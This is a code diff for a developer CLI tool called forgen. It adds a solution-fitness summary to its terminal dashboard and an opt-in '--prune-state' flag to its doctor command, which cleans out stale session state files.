@@ -457,6 +464,50 @@ function renderLearningCurve(data) {
457
464
  ` ${dim('※ compound가 힌트를 제공한 매 1회당 평균 8분 절약 가정')}`,
458
465
  ].join('\n');
459
466
  }
467
+ function renderFitnessSummary() {
468
+ // Lazy import: keep dashboard startup cheap if outcomes are absent.
469
+ let summary;
470
+ try {
471
+ const { computeFitness } = require('../engine/solution-fitness.js');
472
+ const records = computeFitness();
473
+ summary = {
474
+ total: records.length,
475
+ champion: records.filter((r) => r.state === 'champion').length,
476
+ active: records.filter((r) => r.state === 'active').length,
477
+ underperform: records.filter((r) => r.state === 'underperform').length,
478
+ draft: records.filter((r) => r.state === 'draft').length,
479
+ top: records.slice(0, 3).map((r) => ({ name: r.solution, fitness: r.fitness, state: r.state })),
480
+ };
481
+ }
482
+ catch {
483
+ summary = { total: 0, champion: 0, active: 0, underperform: 0, draft: 0, top: [] };
484
+ }
485
+ if (summary.total === 0) {
486
+ return [
487
+ ` ${bold('🎯 Solution Fitness / 솔루션 적합도')}`,
488
+ ``,
489
+ ` ${dim('아직 outcome 이벤트 데이터 없음.')}`,
490
+ ` ${dim('솔루션 주입이 누적되면 자동으로 채워집니다.')}`,
491
+ ].join('\n');
492
+ }
493
+ const topLines = summary.top.length > 0
494
+ ? summary.top.map((t) => {
495
+ const icon = t.state === 'champion' ? green('●') : t.state === 'underperform' ? red('●') : cyan('●');
496
+ return ` ${icon} ${t.name.slice(0, 44).padEnd(44)} ${t.fitness.toFixed(2)} (${t.state})`;
497
+ }).join('\n')
498
+ : ` ${dim('(top 3 없음)')}`;
499
+ return [
500
+ ` ${bold('🎯 Solution Fitness / 솔루션 적합도')}`,
501
+ ``,
502
+ ` 상태 분포 (총 ${summary.total}개):`,
503
+ ` ${green('champion')}: ${summary.champion} ${cyan('active')}: ${summary.active} ${red('underperform')}: ${summary.underperform} ${dim('draft')}: ${summary.draft}`,
504
+ ``,
505
+ ` Top 3 by fitness:`,
506
+ topLines,
507
+ ``,
508
+ ` ${dim('상세: forgen learn fitness')}`,
509
+ ].join('\n');
510
+ }
460
511
  export function renderDashboard() {
461
512
  const knowledge = collectKnowledgeOverview();
462
513
  const injection = collectInjectionActivity();
@@ -474,6 +525,8 @@ export function renderDashboard() {
474
525
  '',
475
526
  renderLearningCurve(learning),
476
527
  divider,
528
+ renderFitnessSummary(),
529
+ divider,
477
530
  renderKnowledgeOverview(knowledge),
478
531
  divider,
479
532
  renderInjectionActivity(injection),
@@ -1 +1,6 @@
1
- export declare function runDoctor(): Promise<void>;
1
+ export interface DoctorOptions {
2
+ /** When true, delete stale session-scoped state files instead of just
3
+ * reporting bloat. Triggered by `forgen doctor --prune-state`. */
4
+ pruneState?: boolean;
5
+ }
6
+ export declare function runDoctor(opts?: DoctorOptions): Promise<void>;
@@ -4,6 +4,7 @@ import * as path from 'node:path';
4
4
  import { execFileSync } from 'node:child_process';
5
5
  import { FORGEN_HOME, LAB_DIR, ME_BEHAVIOR, ME_DIR, ME_PHILOSOPHY, ME_SOLUTIONS, ME_RULES, ME_SKILLS, PACKS_DIR, SESSIONS_DIR, STATE_DIR } from './paths.js';
6
6
  import { getTimingStats } from '../hooks/shared/hook-timing.js';
7
+ import { countSessionScopedFiles, pruneState } from './state-gc.js';
7
8
  /** ~/.claude/projects/ — Claude Code 세션 저장 경로 */
8
9
  const CLAUDE_PROJECTS_DIR = path.join(os.homedir(), '.claude', 'projects');
9
10
  function check(label, condition, hint) {
@@ -24,7 +25,7 @@ function commandExists(cmd) {
24
25
  return false;
25
26
  }
26
27
  }
27
- export async function runDoctor() {
28
+ export async function runDoctor(opts = {}) {
28
29
  console.log('\n Forgen — Diagnostics\n');
29
30
  console.log(' [Tools]');
30
31
  check('claude CLI', commandExists('claude'));
@@ -305,6 +306,25 @@ export async function runDoctor() {
305
306
  }
306
307
  console.log();
307
308
  }
309
+ // State bloat check — session-scoped files accumulate until pruned.
310
+ console.log(' [State Hygiene]');
311
+ const sessionFiles = countSessionScopedFiles();
312
+ if (sessionFiles === 0) {
313
+ console.log(' ✓ no session-scoped state files');
314
+ }
315
+ else if (sessionFiles < 500) {
316
+ console.log(` ✓ ${sessionFiles} session-scoped files (under threshold)`);
317
+ }
318
+ else {
319
+ console.log(` ⚠ ${sessionFiles} session-scoped files (bloat threshold 500)`);
320
+ console.log(' Run: forgen doctor --prune-state (removes files older than 7 days)');
321
+ }
322
+ if (opts.pruneState) {
323
+ const report = pruneState({ dryRun: false });
324
+ const mb = (report.bytesFreed / 1024 / 1024).toFixed(2);
325
+ console.log(` → Pruned ${report.pruned}/${report.scanned} files (${mb} MB freed, >${report.retentionDays}d old)`);
326
+ }
327
+ console.log();
308
328
  // 현재 디렉토리 git 정보
309
329
  console.log(' [Git]');
310
330
  try {
@@ -37,7 +37,7 @@ export interface GlobalConfig {
37
37
  /** 레거시 마이그레이션 백업 경로 */
38
38
  legacy_backup?: string;
39
39
  }
40
- /** v1 config 로드 (~/.forgen/config.json 우선, 레거시 폴백) */
40
+ /** 글로벌 config 로드 (~/.forgen/config.json) */
41
41
  export declare function loadGlobalConfig(): GlobalConfig;
42
- /** v1 config 저장 (~/.forgen/config.json) */
42
+ /** 글로벌 config 저장 (~/.forgen/config.json) */
43
43
  export declare function saveGlobalConfig(config: GlobalConfig): void;